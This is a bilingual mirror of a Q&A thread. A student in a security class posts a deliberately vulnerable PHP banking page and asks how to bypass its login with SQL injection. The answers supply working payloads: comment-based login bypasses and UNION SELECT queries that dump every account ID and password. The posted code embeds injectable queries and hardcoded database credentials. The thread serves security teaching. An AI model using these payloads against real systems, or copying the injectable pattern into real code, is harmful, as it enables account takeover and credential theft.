简体   繁体   English

使用 php 进行 SQL 注入攻击

[英]SQL injection attack with php

this is part of an assignment for my computer security class, so I'm not looking for specific answers, just some help.这是我的计算机安全课程作业的一部分,所以我不是在寻找具体的答案,只是寻求一些帮助。

We were given a faulty program (in php) that controls a sql database (a bank account) and we have to find a way to create a SQL injection attack that will let us log into an account without knowing it's ID ahead of time.我们得到了一个错误的程序(在 php 中),它控制一个 sql 数据库(一个银行账户),我们必须找到一种方法来创建 SQL 注入攻击,让我们在不知道它的 ID 的情况下提前登录一个帐户。

I'm pretty sure I know where the vulnerability is, but I can't quite seem to get my attacks to work.我很确定我知道漏洞在哪里,但我似乎无法让我的攻击发挥作用。

The code in question (it's kinda long, but the only part that matters is in the first part):有问题的代码(有点长,但唯一重要的部分是第一部分):

<html><head><title>FrobozzCo Community Credit Union</title></head>
<body>
<h1>FrobozzCo Community Credit Union</h1>
<h4><i>We're working for GUE</i></h4>
<hr>
<?php

$debugmode = 1;
function debug($msg) {

    global $debugmode;

    if ($debugmode) {
        echo "<h4>$msg</h4>\n";
    }
}

$thispage = 'FCCU.php';
echo "<form action='$thispage' method='post' name='theform'>\n";
$dbuser = 'fccu';
$dbpass = 'fccubucks';
$dbhost = 'localhost';
$dbname = $dbuser;

$PARAM = array_merge($_GET, $_POST);

// get username and password from form
if (!$PARAM['id'] || !$PARAM['password']) {
    login();
} else { // otherwise, attempt to authenticate
    $id = $PARAM['id'];
    $password = $PARAM['password'];

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
    debug($query);
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result); // there should be only one row

    if (!$row) { // auth failure
        echo "<p><b>Your ID number and password you entered do not match.</b></p>";
        echo "<p>Please try again.</p>";
        login();
    } else { // this user is authenticated!

        // store authentication information in this form
        echo "<input type=\"hidden\" name=\"id\" value=\"$id\" />\n";
        echo "<input type=\"hidden\" name=\"password\" value=\"$password\" />\n";

        banner($row);

        // perform any requested actions (wire, transfer, withdraw)
        if ($PARAM['action'] == 'Transfer Money') {
            transfer_funds($id, 
                       $password,
                           $PARAM['transfer_to'], 
                       $PARAM['transfer_amount']);
        } elseif ($PARAM['action'] == 'Wire Money') {
            wire_funds($id,
                        $password,
                            $PARAM['routing'],
                        $PARAM['wire_acct'],
                        $PARAM['wire_amount']);
        } elseif ($PARAM['action'] == 'Withdraw Money') {
            withdraw_cash($id,
                          $password,
                              $PARAM['withdraw_amount']);
        }

        // normal output

        // account info
        $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
        $result = mysql_query($query) or die(mysql_error());
        $row = mysql_fetch_array($result); // there should be only one row
        account_info($row);

        // get current account list by name
        $query = "SELECT first, last FROM accounts ORDER BY last";
        $names = mysql_query($query) or die(mysql_error());
        account_actions($row, $names);
    }


}
echo "<hr>\n";
echo "Generated by FCCU.php at " . date("l M dS, Y, H:i:s",5678)."<br>";

function name_to_id($name) {

    global $dbhost, $dbuser, $dbpass, $dbname;
    $splitname = explode(", ", $name);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);
    $query = "SELECT id FROM accounts WHERE first = '$splitname[1]' AND last = '$splitname[0]'";
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result);
    $id = $row[0];

    return $id;
}

function action_error($msg, $error) {

    echo "<table bgcolor='#ff0000' color='#ffffff' align=center border=1>
          <tr><td><center><b>ERROR!</b></center></td></tr>
          <tr><td>
                  <p align='center'>$msg</p>
                  <p align='center'>Please go back and try again or contact tech support.</p>
                  <p align='center'><i>args: $error</i></p>
              <p align='center'><input type='submit' name='clear' value='Clear Message'></p>

              </td></tr>
          </table>";
}

function withdraw_cash($id, $password, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug("126: ($password) " . $query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        pretend("withdraw cash", $amount);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Cash withdrawal of $$amount complete.</h2>
              <h3 align='center'>Your cash should be ready in accounting within 45 minutes.</h3>\n";
    } else {
        action_error("Problem with cash withdrawal!",
                         "'$id', '$giver_has', '$amount'");
    }
}


function wire_funds($id, $password,  $bank, $account, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount && $bank && $account) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        pretend("wire money", $amount, $bank, $acct);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Wire of $$amount to bank ($bank) account ($account) complete.</h2>\n";
    } else {
        action_error("Problem with wire fund transfer!", 
                     "'$id', '$amount', '$giver_has', '$bank', '$account'");
    }
}

function pretend() {

    return 1;
}

function transfer_funds($giver_id, $password, $recipient, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);
    $recipient_id = name_to_id($recipient);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE id = $giver_id OR id = $recipient_id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $recipient_has = $row[0];
    $row = mysql_fetch_array($result);
    $giver_has = $row[0];
    debug("$giver_has, $recipient_has");

    if ($amount > 0 && $giver_has >= $amount && $recipient_has) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        $recipient_has = $recipient_has + $amount; // does anyone know what it is?
        $query = "UPDATE accounts SET bal = $recipient_has WHERE id = $recipient_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $giver_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Transfer of $$amount to $recipient complete.</h2>\n";
    } else {
        action_error("Problem with employee fund transfer!",
                         "'$giver_id', '$recipient', '$amount', '$giver_has'");
    }
}

function account_info($row) {

    echo "<table border='1' align='center'>
          <tr><td colspan='2'><p><center><b>Account Information</b></center></p></td></tr>
          <tr><td><b>Account:</b></td><td>$row[0]</td></tr>
          <tr><td><b>Balance:</b></td><td>$$row[1]</td></tr>
          <tr><td><b>Birthdate:</b></td><td>$row[6]</td></tr>
          <tr><td><b>SSN:</b></td><td>$row[5]</td></tr>
          <tr><td><b>Phone:</b></td><td>$row[4]</td></tr>
          <tr><td><b>Email:</b></td><td>$row[7]@frobozzco.com</td></tr>
          </table>\n";
}

function account_actions($row, $names) {

    global $thispage;

    echo "<table border=1 width='600' align='center'>

          <tr><td><center><b>Account Actions</b></center></td></tr>

          <tr><td><center><b>Wire Funds</b></center></td></tr>

          <tr><td>
          <p>To wire funds: enter the amount (in whole dollars), the 
          receiving bank's <b>routing number</b> and <b>receiving account number</b>, 
          and press 'Wire Funds!'</p>
          Wire amount: $<input name=wire_amount /><br />
          Routing Number: <input name=routing /> (e.g. 091000022)<br />
          Account Number: <input name=wire_acct /> (e.g. 923884509)<br />
          <p align='center'><input type='submit' name='action' value='Wire Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Transfer Money</b></center></td><tr>

          <tr><td><p>To transfer money to another FCCU account holder, select the 
          employee from the drop-down menu below, enter an ammount (in whole dollars)
          to transfer, and press 'Transfer Money!'</p>
          Transfer Amount: $<input name=transfer_amount /><br />
          Transfer To: ";
          // create dropdown menu with accounts
          echo "<select name='transfer_to' selected='select employee'>\n";
          echo "<option value='nobody'>select employee</option>\n";
          while ($name = mysql_fetch_array($names)) {
              echo "<option value=\"$name[1], $name[0]\">$name[1], $name[0]</option>\n";
          }
          echo "</select>\n";
          echo "<br />
          <p align='center'><input type='submit' name='action' value='Transfer Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Withdraw Cash</b></center></td><tr>

          <tr><td><p>To withdraw cash, enter an amount (in whole dollars) and press 
          the 'Withdraw Cash!' button. The cash will be available in the accounting 
          office within 45 minutes.</p>
          Withdraw Amount: $<input name=withdraw_amount /><br />
          <p align='center'><input type='submit' name='action' value='Withdraw Money'></p>
          <p />
          </td></tr>
          </table>
          \n";

}

function banner($row) {

    global $thispage;

    $fullname = "$row[2] $row[3]";
    echo "<table width='100%'><tr><td>
    <p align='left'>Welcome, $fullname. (<a href='$thispage'>Log Out</a>)</p>
          </td><td>
          <p align='right'><i>(If you aren't $fullname, <a href='$thispage'>click here</a>.)</i></p>
          </td></tr></table>\n";
    echo "<hr>\n";


}

function login() {

    global $thispage;

    echo "<p>Enter your <b>account ID</b> and password and click \"submit.\"</p>\n";
    echo "<table>\n";
    echo "<tr><td>Account ID Number: </td><td><input name='id' cols='10' /></td></tr>\n";
    echo "<tr><td>Password (alphanumeric only): </td><td><input name='password' cols='30' /></td></tr>\n";
    echo "<tr><td><input type='submit' value='Submit' name='submit'></td><td></td></tr>\n";
    echo "</table>\n";

}

?>
</form>
<p>Done.</p>
</body>
</html>

The line:线路:

$query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";

I've tried a couple of strings in the ID input (I'm working from my browser) such as我在 ID 输入中尝试了几个字符串(我正在使用浏览器工作),例如

100 OR id=id;
0 OR 1=1;

To try and comment out the password part of the command.尝试注释掉命令的密码部分。 I'm pretty new to SQL so I think I'm just formatting this wrong.我对 SQL 很陌生,所以我认为我只是格式化错误。

That or I'm completely overlooking a more obvious exploit.那或者我完全忽略了一个更明显的漏洞。

You need to make sure to comment out the rest of the query, so the quotes don't trip you up and so any extra clauses are ignored.您需要确保注释掉查询的其余部分,这样引号就不会让您感到困惑,因此会忽略任何额外的子句。

Try setting the ID to:尝试将 ID 设置为:

0 OR id=id -- 

The -- (that's hyphen, hyphen, space: the space is important) is a comment in MySQL. -- (即连字符、连字符、空格:空格很重要)是 MySQL 中的注释。

You being in school, I don't want to just give you the answer.你在学校,我不想只给你答案。 :P :P

Given the fact that the query isn't parametrized...鉴于查询未参数化...

Pay attention to the placement of the the apostrophes.注意撇号的位置。

Keep in mind the query:请记住以下查询:

Select field
FROM table
WHERE field = '<-- Note these -->'

You are on the right track though!不过你是在正确的轨道上!

LESSON

Always, always, always use parametrized queries if you can.如果可以,始终,始终,始终使用参数化查询。 Also PDO is a nice way to access DBs in PHP.此外,PDO 是一种在 PHP 中访问数据库的好方法。

EXAMPLE例子

anything' OR 'x'='x <-- Something like this (again with the apostrophes) anything' OR 'x'='x <-- 像这样(再次用撇号)

Exploiting SQL injections is the art of providing values that, when incorporated into an SQL statement, result in a valid SQL statement syntax while changing the semantics intended by the developer to some that are profitable for an attacker.利用 SQL 注入是一种提供值的艺术,当这些值合并到 SQL 语句中时,会产生有效的 SQL 语句语法,同时将开发人员想要的语义更改为对攻击者有利的语义。

Now if we look at your attempt with id being 100 OR id=id;现在,如果我们查看您尝试将id设为100 OR id=id; and password something, the resulting SQL looks like this:密码,生成的 SQL 如下所示:

SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'

Now you there are two problems with this:现在你有两个问题:

  1. mysql_query does only support the execution of one statement and throws an error if there is more that one statement. mysql_query只支持执行一个语句,如果有多个语句,则抛出错误。
  2. Even if multiple statements were supported, the return value would be the result of the second statement, which, obviously, is invalid.即使支持多条语句,返回值也会是第二条语句的结果,这显然是无效的。

So to fix this, the easiest way is to inject a comment , its syntax is # or -- ( note the trailing space ) for comments until the line end.所以要解决这个问题,最简单的方法是注入注释,它的语法是#--注意尾随空格)用于注释直到行尾。 So you could use one of the following for id :所以你可以使用以下之一作为id

100 OR id=id #
100 OR id=id -- 

Or you inject an independent OR clause without any comments like this:或者你注入一个独立的OR子句,没有像这样的任何注释:

100 OR id=id OR id

This would result in:这将导致:

SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'

Here the id=id is true for each row.这里id=id对每一行都是真的。

The accepted answer covers things.接受的答案涵盖了一些事情。

However I notice that in the original question one point was to 'let us log into an account without knowing it's ID ahead of time'.但是我注意到,在最初的问题中,有一点是“让我们提前登录帐户而不知道它的 ID”。

Assuming you know the name in advance (but not the id) then you could set id to something like the following假设您事先知道名称(但不知道 id),那么您可以将 id 设置为如下所示

0 OR (first='joe' AND last='bloggs') -- 

I would also be inclined to set password to something like:-我也倾向于将密码设置为:-

' OR (first='joe' AND last='bloggs') -- 

This way the queries that check password before userid (eg, the balance check) could be made to work as well这样,在用户 ID 之前检查密码的查询(例如,余额检查)也可以工作

For your amusement something else that might be fun to try.为了您的娱乐,尝试其他可能很有趣的东西。 Set id to something like this:-将 id 设置为这样的:-

0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 

and password to something like this:-和密码是这样的:-

' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 

This should then put out the actual password in the account_info function (you might need to add ",password" a few more times, just so the column count matches the number of columns in the accounts table).然后这应该在 account_info 函数中输出实际密码(您可能需要再添加几次“,密码”,以便列数与帐户表中的列数匹配)。

Or if you want all the ids:-或者,如果您想要所有 ID:-

0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 

and passwords:-和密码:-

' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 

Something like this should give you all the ids and passwords in the system (subject to the max length limit on GROUP_CONCAT).像这样的东西应该为您提供系统中的所有 ID 和密码(受 GROUP_CONCAT 的最大长度限制)。 So you could then log on with whichever id and password you wanted to easily afterwards.因此,您可以随后使用您想要轻松登录的任何 ID 和密码登录。

I copied your script and knocked up a test table and the above worked.我复制了你的脚本并创建了一个测试表,上面的方法奏效了。

Basically, you can attack this using GET or POST .基本上,您可以使用GETPOST攻击它。 The GET method is a lot easier, just create a URL parameter called id with your desired SQL to inject. GET 方法要简单得多,只需使用要注入的所需 SQL 创建一个名为id的 URL 参数。

http://www.somesite.com/FCCU.php?id=id -- 

You may have to URI encode it, just try unencoded first.您可能需要对它进行 URI 编码,只需先尝试未编码即可。 The server will then run the query:然后服务器将运行查询:

SELECT * FROM accounts WHERE id = id -- AND password = '$password'

Because the password condition is commented out and WHERE id = id is equivalent to WHERE TRUE , will end up working the same way as:因为密码条件被注释掉并且WHERE id = id等价于WHERE TRUE ,最终的工作方式与:

SELECT * FROM accounts

The return value of that query is then stored in a variable, which has all of the account information of everyone in the site's database.然后将该查询的返回值存储在一个变量中,该变量包含站点数据库中每个人的所有帐户信息。 Since they are passing that variable to their debug function, you just have to turn on debug mode and you should see everyone's confidential login and password information.由于他们将该变量传递给他们的调试函数,因此您只需打开调试模式,您就会看到每个人的机密登录名和密码信息。

it's not nice to hack but: hack 不好,但是:

SELECT * FROM accounts WHERE id = $id AND password = '$password'"

in a id field tipe在 id 字段中

1 --
2 --

or或者

1-- // without space
2--

like this you will be able to log in as every user像这样,您将能够以每个用户的身份登录

You can enter this as id (example for account with id 123):您可以将其输入为 ID(例如 ID 为 123 的帐户):

123 OR 1=2

The trick is that the second part evaluates to FALSE and so you only have the id=123 as result.诀窍是第二部分的计算结果为FALSE ,因此您只有 id=123 作为结果。 Using a true condition would lead to all rows, so you would probably get id=1 if the table is sorted.使用 true 条件会导致所有行,因此如果表已排序,您可能会得到 id=1。

The next step is to check the resulting page, and look in the hidden password field.下一步是检查结果页面,并查看隐藏的密码字段。 You will then be able to send more queries with the correct id and password.然后,您将能够使用正确的 ID 和密码发送更多查询。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM